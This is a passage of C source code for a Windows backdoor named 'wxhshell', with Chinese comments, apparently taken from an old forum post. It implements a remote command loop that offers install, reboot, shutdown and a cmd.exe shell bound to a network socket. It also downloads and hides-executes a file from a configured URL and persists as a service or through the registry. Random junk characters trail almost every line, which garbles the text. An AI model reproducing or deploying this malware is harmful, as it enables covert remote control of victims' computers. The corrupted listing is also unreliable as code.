  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1 ,Y-_e)  
  } ~Q5L)}8N  
  else {  $ l Y  
]Rz]"JZ\S  
    switch(cmd[0]) { \  VJ3  
  z0a=A:+/  
  // 帮助 ![ Fb~Egc  
  case '?': { q0$}MB6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EZao\,t  
    break; ?PLf+S  
  } `5Q0U%`W  
  // 安装 ]r{y+g|  
  case 'i': { sFMSH :5z  
    if(Install()) e5C560  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B_nim[72  
    else a*! wiTGf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  GVe[)R  
    break; o[0Cv*  
    } eA4@)6WP(  
  // 卸载 fC52nK&T8  
  case 'r': { b v~"_)C  
    if(Uninstall()) WL+I)n8~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gm\P`~+o  
    else _|`S9Nms  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C8%q?.nH=  
    break; rOEk%kJ  
    } ESft:3xyw  
  // 显示 wxhshell 所在路径 N\BB8<F  
  case 'p': { :iP2e+j  
    char svExeFile[MAX_PATH]; h%9#~gJ})  
    strcpy(svExeFile,"\n\r"); iG^o@*}a  
      strcat(svExeFile,ExeFile); a"4j9cO  
        send(wsh,svExeFile,strlen(svExeFile),0); V*"-@  
    break; xp.~i*!`  
    } ?I6!m~  
  // 重启 6=0"3%jn@  
  case 'b': { <!Ed ND=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _?]bd-E  
    if(Boot(REBOOT)) 3dTz$s/[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y/?V%X  
    else { 4"U/T 1&  
    closesocket(wsh); "AMbU6 8  
    ExitThread(0); f .-b.nNf  
    } slaYr`u  
    break; * G!C 'w\$  
    } %F_)!M;x  
  // 关机 F<39eDNpz  
  case 'd': { ZF^$?;'3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q'>pOtJG*J  
    if(Boot(SHUTDOWN)) )O*\}6:S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T)? : q  
    else { h fZY5+Z<  
    closesocket(wsh); la+RK  
    ExitThread(0); E">FH >8K}  
    } lA>^k;+>  
    break; I7,5ID4pn  
    } F,5~a_GP?  
  // 获取shell 3}~.#`QeY  
  case 's': { wr I66R}@  
    CmdShell(wsh); uj;tmK>;  
    closesocket(wsh); cBZ$$$v\#  
    ExitThread(0); "NWILZwEV  
    break; d 5jZ?  
  } *oZ]k`-!8  
  // 退出 .^ djt  
  case 'x': { &8$Gy u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); = Lt)15  
    CloseIt(wsh); RC?gozBFJ  
    break; >%LZ|*U  
    } .Nt;J,U  
  // 离开 !1(*D*31  
  case 'q': { L8R{W0Zr>!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?TTtGbvU  
    closesocket(wsh); m#w1?y)Z@X  
    WSACleanup(); b?i5C4=K  
    exit(1); ^m pWQ`R  
    break; &GYnGrw?@  
        } %x{jmZ$}  
  } o_ng{SL  
  } ~i_YrTp  
o rBB5JJ  
  // 提示信息 ,6VY S\a3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iF,%^95=  
} r c++c,=  
  } Ql>bsr}  
9B3+$uP  
  return; tBU n KPT  
} %vn"tp  
HE!"3S2S&+  
// shell模块句柄 0MpZdJ  
int CmdShell(SOCKET sock) =)b!M^=X-a  
{ @~7y\G  
STARTUPINFO si; =1#obB  
ZeroMemory(&si,sizeof(si)); m4\e `nl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D *=.;Rq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N W]zMU{c  
PROCESS_INFORMATION ProcessInfo; 'k'"+  
char cmdline[]="cmd"; t?Ku6Z'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Dxvizd>VU  
  return 0; 1FA:"0lO  
} ) KvGJo)("  
C*X=nezq  
// 自身启动模式 ibP IT!5c  
int StartFromService(void) 3ch<a0  
{ f?JP=j  
typedef struct ?kM2/a"{G  
{ 5nV IC3N+1  
  DWORD ExitStatus; M:M"7>:  
  DWORD PebBaseAddress; &c[ISc>N{  
  DWORD AffinityMask; MoZ8A6e?B  
  DWORD BasePriority; QJ\+u  
  ULONG UniqueProcessId; qt{lZ_$  
  ULONG InheritedFromUniqueProcessId; )WNw0cV}J>  
}   PROCESS_BASIC_INFORMATION; G22{',#r8  
1R.|j_HYy  
PROCNTQSIP NtQueryInformationProcess; z!s1$5:"0  
~n=oPm$pR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6L<Y   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jWL%*dJrN  
{k}$L|w  
  HANDLE             hProcess; *3iEO>  
  PROCESS_BASIC_INFORMATION pbi; +-r ~-bs  
;~,)6UX7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N?EeT}m_  
  if(NULL == hInst ) return 0; utu V'5GD  
gWD46+A){  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?ESsma6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3d`u!i?/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b9;w3Ba  
ni$;"R GC  
  if (!NtQueryInformationProcess) return 0; &K*Kr=9N  
\/s0p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NR3h|'eC  
  if(!hProcess) return 0; 3*zywcTH  
Lm8uN?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t i&!_  
"T@9#7Obu  
  CloseHandle(hProcess); 'pnOHT  
!tzk7D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M]Hf>7p  
if(hProcess==NULL) return 0; e_YTh^wU  
&#zx/$  
HMODULE hMod; FLo`EE":O(  
char procName[255]; 4 _P6P  
unsigned long cbNeeded; ;w7s>(ITZ  
~KQiNkA\|l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yUjkRT&h  
(u4'*[o\t  
  CloseHandle(hProcess); ,!O]c8PcU  
z3c7  
if(strstr(procName,"services")) return 1; // 以服务启动 `mthzc3W  
Z aYUf  
  return 0; // 注册表启动 k4PXH  
} @#=yC.s  
=w!2R QB  
// 主模块 WjBH2v  
int StartWxhshell(LPSTR lpCmdLine) Zi?:< H}  
{ "$/1.SX;]  
  SOCKET wsl; |>RNIJ]  
BOOL val=TRUE; a/</P |UG  
  int port=0; 6 w'))Z  
  struct sockaddr_in door; nAC>']K4$  
2bOl`{x  
  if(wscfg.ws_autoins) Install(); OZ33w-X<  
|- <72$j  
port=atoi(lpCmdLine); p, T4BO  
b<%c ]z  
if(port<=0) port=wscfg.ws_port; N!fjN >cw  
:uJHFF xg  
  WSADATA data; /'/i?9:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CZE!@1"<{  
$<9u:.9xf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wPX^P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LJ6l3)tpD  
  door.sin_family = AF_INET; &=f?:UZ%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :dQRrmM  
  door.sin_port = htons(port); (d/!M n6L  
.Cf!5[0E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l-P6B9e|\  
closesocket(wsl); sjOv!|]A  
return 1; +f%"O?  
} &6vWz6!P  
D2GF4%|  
  if(listen(wsl,2) == INVALID_SOCKET) { G[*z,2Kb>  
closesocket(wsl); R={#V8D~  
return 1; @q`T#vd  
}  +hKs  
  Wxhshell(wsl); Y9gw ('\w  
  WSACleanup(); XUKlgl!+.  
as'yYn8  
return 0; )&O6d .  
B`t/21J  
} MN8>I=p  
g*(z .  
// 以NT服务方式启动 LF @_|o I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )t@9!V  
{ <f`n[QD2z  
DWORD   status = 0; 97U OH  
  DWORD   specificError = 0xfffffff; wdAKU+tM  
0}"\3EdAbD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :p,|6~b$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8{QCW{K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -EE'xh-zD  
  serviceStatus.dwWin32ExitCode     = 0; o2=):2x r{  
  serviceStatus.dwServiceSpecificExitCode = 0; S0Io$\ha  
  serviceStatus.dwCheckPoint       = 0; uI9*D)  
  serviceStatus.dwWaitHint       = 0; '`|j{mBhG  
nu7 R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y/ Bo 4fM  
  if (hServiceStatusHandle==0) return; N$=9R  
t0jE\6r  
status = GetLastError(); jdLu\=@z  
  if (status!=NO_ERROR) H la?\  
{ 7K "1^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b_a k@LYiu  
    serviceStatus.dwCheckPoint       = 0; +uSp3gE"  
    serviceStatus.dwWaitHint       = 0; &6C]| 13;  
    serviceStatus.dwWin32ExitCode     = status; j6EF0/_|e  
    serviceStatus.dwServiceSpecificExitCode = specificError; j~1K(=Ng  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xZ)K#\  
    return; c+E\e]{  
  } b r Iz8]  
fv#ov+B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A$N%deb  
  serviceStatus.dwCheckPoint       = 0; #O !2  
  serviceStatus.dwWaitHint       = 0; b@&uwSv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?gU raSFU  
} _AFje  
Wz=& 0>Mm_  
// 处理NT服务事件,比如:启动、停止 T0")Ryu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;l _b.z0^6  
{ 9#9bm  
switch(fdwControl) $*G3'G2'iS  
{ JZ`SV}\`  
case SERVICE_CONTROL_STOP: HEbL'fw^s  
  serviceStatus.dwWin32ExitCode = 0; vR:#g;mnk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i KQj[%O  
  serviceStatus.dwCheckPoint   = 0; G#e]J;   
  serviceStatus.dwWaitHint     = 0; 'g,_lF  
  { Be]z @E1x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l"E{ ?4  
  } b#p0s?*  
  return; fcEm :jEZ*  
case SERVICE_CONTROL_PAUSE: {Kr}RR*{X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?_d>-NC  
  break; 9ybR+dGm+  
case SERVICE_CONTROL_CONTINUE: 1Z)P.9c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gh*k\0  
  break; PvV\b<Pe+  
case SERVICE_CONTROL_INTERROGATE: ;"Qq/ knVL  
  break; zA6C{L G3  
}; !{CIP`P1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xe\}(O  
} /nA>ox78  
Z0zEX?2mb  
// 标准应用程序主函数 4 qsct@K,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [dP<A ?s  
{ (*\&xRY|C  
";(m,i f-  
// 获取操作系统版本 #aC&!Rei{  
OsIsNt=GetOsVer(); _ymSo`Iv R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); aC1 xt(  
-u%o);B  
  // 从命令行安装 }0E@eL  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,e1c,}  
~h8k4eM  
  // 下载执行文件 GYIQ[#'d7  
if(wscfg.ws_downexe) { 6zU0 8z0-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2N &B  
  WinExec(wscfg.ws_filenam,SW_HIDE); @(a~ p  
} 4IfkYM  
$<Gt^3e  
if(!OsIsNt) { CpN*1s})d  
// 如果时win9x,隐藏进程并且设置为注册表启动 &f'Lll  
HideProc(); B &Z0ZWx  
StartWxhshell(lpCmdLine); %1;Y`>  
} K ~\b+  
else b4$.uLY  
  if(StartFromService()) v8E:64  
  // 以服务方式启动 ]A-LgDsS  
  StartServiceCtrlDispatcher(DispatchTable); mL}Wan  
else r\b$/:y<e  
  // 普通方式启动 u{W I 4n?  
  StartWxhshell(lpCmdLine); )0 6. dZq\  
olo9YrHn  
return 0; <MhODC")  
}
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只看该作者 1 发表于: 2006-10-10
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